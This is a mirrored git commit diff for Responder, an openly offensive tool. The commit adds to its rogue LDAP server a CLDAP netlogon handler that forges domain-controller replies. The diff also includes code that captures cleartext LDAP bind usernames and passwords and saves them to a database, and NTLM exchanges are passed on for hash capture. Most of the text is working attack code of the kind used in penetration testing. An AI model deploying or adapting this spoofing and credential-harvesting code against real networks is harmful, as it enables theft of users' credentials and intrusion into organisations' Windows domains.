mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 21:03:33 -07:00
Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping
This commit is contained in:
parent
d01bbaafae
commit
1271b8e179
5 changed files with 313 additions and 17 deletions
131
servers/LDAP.py
131
servers/LDAP.py
|
@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)):
|
|||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
|
||||
from utils import *
|
||||
import struct
|
||||
import codecs
|
||||
import random
|
||||
|
||||
def GenerateNetbiosName():
|
||||
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
|
||||
|
||||
def CalculateDNSName(name):
|
||||
if isinstance(name, bytes):
|
||||
name = name.decode('latin-1')
|
||||
name = name.split(".")
|
||||
DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
|
||||
Dnslen = ''
|
||||
for x in name:
|
||||
if len(x) >=1:
|
||||
Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
|
||||
|
||||
return Dnslen, DomainPrefix
|
||||
|
||||
def ParseCLDAPNetlogon(data):
|
||||
#data = NetworkSendBufferPython2or3(data)
|
||||
try:
|
||||
Dns = data.find(b'DnsDomain')
|
||||
if Dns is -1:
|
||||
return False
|
||||
DnsName = data[Dns+9:]
|
||||
DnsGuidOff = data.find(b'DomainGuid')
|
||||
if DnsGuidOff is -1:
|
||||
return False
|
||||
Guid = data[DnsGuidOff+10:]
|
||||
if Dns:
|
||||
DomainLen = struct.unpack(">B", DnsName[1:2])[0]
|
||||
DomainName = DnsName[2:2+DomainLen]
|
||||
|
||||
if Guid:
|
||||
DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
|
||||
DomainGuid = Guid[2:2+DomainGuidLen]
|
||||
return DomainName, DomainGuid
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def ParseSearch(data):
|
||||
TID = data[8:9].decode('latin-1')
|
||||
if re.search(b'Netlogon', data):
|
||||
NbtName = GenerateNetbiosName()
|
||||
TID = NetworkRecvBufferPython2or3(data[8:10])
|
||||
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
|
||||
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
|
||||
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
|
||||
t.calculate()
|
||||
return str(t)
|
||||
|
||||
if re.search(b'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
|
||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
|
@ -92,6 +141,59 @@ def ParseNTLM(data,client, Challenge):
|
|||
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||
ParseLDAPHash(data, client, Challenge)
|
||||
|
||||
def ParseCLDAPPacket(data, client, Challenge):
|
||||
if data[1:2] == b'\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[10:11]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
if Operation == b'\x60':
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
||||
if AuthHeaderType == b'\x80':
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
'client': client,
|
||||
'user': UserDomain,
|
||||
'cleartext': Password,
|
||||
'fullhash': UserDomain+':'+Password,
|
||||
})
|
||||
|
||||
if sasl == b'\xA3':
|
||||
Buffer = ParseNTLM(data,client, Challenge)
|
||||
return Buffer
|
||||
|
||||
elif Operation == b'\x63':
|
||||
Buffer = ParseSearch(data)
|
||||
return Buffer
|
||||
|
||||
elif settings.Config.Verbose:
|
||||
print(text('[LDAP] Operation not supported'))
|
||||
|
||||
if data[5:6] == b'\x60':
|
||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||
UserString = data[12:12+UserLen].decode('latin-1')
|
||||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
'client': client,
|
||||
'user': UserString,
|
||||
'cleartext': PassStr,
|
||||
'fullhash': UserString+':'+PassStr,
|
||||
})
|
||||
|
||||
|
||||
def ParseLDAPPacket(data, client, Challenge):
|
||||
if data[1:2] == b'\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
|
@ -100,8 +202,9 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
||||
if Operation == b'\x60':
|
||||
if Operation == b'\x60':#Bind
|
||||
if "ldap" in data:# No Kerberos
|
||||
return False
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
@ -148,7 +251,7 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
class LDAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.4)
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(5):
|
||||
|
@ -159,3 +262,17 @@ class LDAP(BaseRequestHandler):
|
|||
except:
|
||||
pass
|
||||
|
||||
|
||||
class CLDAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(1):
|
||||
Buffer = ParseCLDAPPacket(data,self.client_address[0], Challenge)
|
||||
if Buffer:
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||
data, soc = self.request
|
||||
except:
|
||||
pass
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue